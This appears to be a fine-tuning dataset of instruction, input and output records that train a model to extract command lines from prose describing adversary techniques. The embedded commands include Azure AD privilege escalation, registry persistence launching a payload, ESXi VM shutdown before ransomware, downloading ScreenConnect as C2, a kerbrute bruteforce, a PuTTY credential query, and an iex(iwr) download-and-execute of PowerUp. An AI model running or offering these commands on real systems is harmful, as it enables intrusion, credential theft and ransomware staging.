    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To add a user to an Azure AD role, adversaries often target highly privileged roles like Global Administrator. The following PowerShell command can be used for this purpose, provided the executing account has Privileged Role Administrator or Global Administrator permissions: Import-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzureAD -Credential $Credential\n\n$user = Get-AzureADUser -Filter \"DisplayName eq \\'#{user_principal_name}\\' or UserPrincipalName eq \\'#{user_principal_name}\\'\"\nif ($user -eq $null) { Write-Warning \"User not found\"; exit }\n$role = Get-AzureADDirectoryRole -Filter \"DisplayName eq \\'#{role_name}\\'\"\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\nAdd-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $user.ObjectId\nWrite-Host \"User $($user.DisplayName) was added to $($role.DisplayName) role\"",
    "output": "{\"command_list\": [\"Import-Module -Name AzureAD\\n$PWord = ConvertTo-SecureString -String \\\"#{password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Pword\\nConnect-AzureAD -Credential $Credential\\n\\n$user = Get-AzureADUser -Filter \\\"DisplayName eq '#{user_principal_name}' or UserPrincipalName eq '#{user_principal_name}'\\\"\\nif ($user -eq $null) { Write-Warning \\\"User not found\\\"; exit }\\n$role = Get-AzureADDirectoryRole -Filter \\\"DisplayName eq '#{role_name}'\\\"\\nif ($role -eq $null) { Write-Warning \\\"Role not found\\\"; exit }\\nAdd-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $user.ObjectId\\nWrite-Host \\\"User $($user.DisplayName) was added to $($role.DisplayName) role\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The cmdl32 utility is employed to fetch an arbitrary file online, using this command: \"#{Path_to_file}\" 1>NUL. Although cmdl32 is typically used to install VPN profiles, the configuration is modified for file downloads. To prevent cmdl32.exe from deleting the payload, a temporary TMP folder is created with restricted delete permissions. Upon completion, the test will open calculator and Notepad for a brief period.",
    "output": "{\"command_list\": [\"\\\"#{Path_to_file}\\\" 1>NUL \\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    By running the following command: Set-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9E9A340-D1F1-11D0-821E-444553540600}\" \"StubPath\" \"#{payload}\" -Force\n& $env:SYSTEMROOT\\system32\\runonce.exe /AlternateShellStartup, you can add a StubPath to the registry key and trigger Active Setup immediately to launch the specified payload.",
    "output": "{\"command_list\": [\"Set-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components\\\\{C9E9A340-D1F1-11D0-821E-444553540600}\\\" \\\"StubPath\\\" \\\"#{payload}\\\" -Force\\n& $env:SYSTEMROOT\\\\system32\\\\runonce.exe /AlternateShellStartup\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Powering off VMs to prepare for ransomware deployment can be achieved via the command: echo \"\" | \"#{plink_file}\" -batch \"#{vm_host}\" -ssh -l #{vm_user} -pw \"#{vm_pass}\" \"for i in `vim-cmd vmsvc/getallvms | awk 'NR>1 {print $1}'`; do vim-cmd vmsvc/power.off $i & done\"",
    "output": "{\"command_list\": [\"echo \\\"\\\" | \\\"#{plink_file}\\\" -batch \\\"#{vm_host}\\\" -ssh -l #{vm_user} -pw \\\"#{vm_pass}\\\" \\\"for i in `vim-cmd vmsvc/getallvms | awk 'NR>1 {print $1}'`; do vim-cmd vmsvc/power.off $i & done\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary might deceive a user into downloading ScreenConnect as a C2 channel, which can be done with the following command: $installer = \"C:\\Users\\$env:username\\Downloads\\ScreenConnect.msi\"\nInvoke-WebRequest -OutFile $installer \"https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_25.1.10.9197_Release.msi\"\nmsiexec /i $installer /qn\n",
    "output": "{\"command_list\": [\"$installer = \\\"C:\\\\Users\\\\$env:username\\\\Downloads\\\\ScreenConnect.msi\\\"\\nInvoke-WebRequest -OutFile $installer \\\"https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_25.1.10.9197_Release.msi\\\"\\nmsiexec /i $installer /qn\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A bruteforce attack can be executed by reading username:password pairs from a file or stdin with this command:\ncd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n.\\kerbrute.exe bruteforce --dc #{domaincontroller} -d #{domain} \"PathToAtomicsFolder\\..\\ExternalPayloads\\bruteforce.txt\"",
    "output": "{\"command_list\": [\"cd \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\"\\n.\\\\kerbrute.exe bruteforce --dc #{domaincontroller} -d #{domain} \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\bruteforce.txt\\\"      \\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To search for PuTTY credentials stored in the Registry, provided PuTTY is installed, use the following command: reg query HKCU\\Software\\SimonTatham\\PuTTY\\Sessions /t REG_SZ /s",
    "output": "{\"command_list\": [\"reg query HKCU\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions /t REG_SZ /s\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify remote systems through a ping sweep, use the following command which performs a for loop against the 192.168.1.1/24 network: for /l %i in (#{start_host},1,#{stop_host}) do ping -n 1 -w 100 #{subnet}.%i",
    "output": "{\"command_list\": [\"for /l %i in (#{start_host},1,#{stop_host}) do ping -n 1 -w 100 #{subnet}.%i  \\n\"]}"
  },
  {
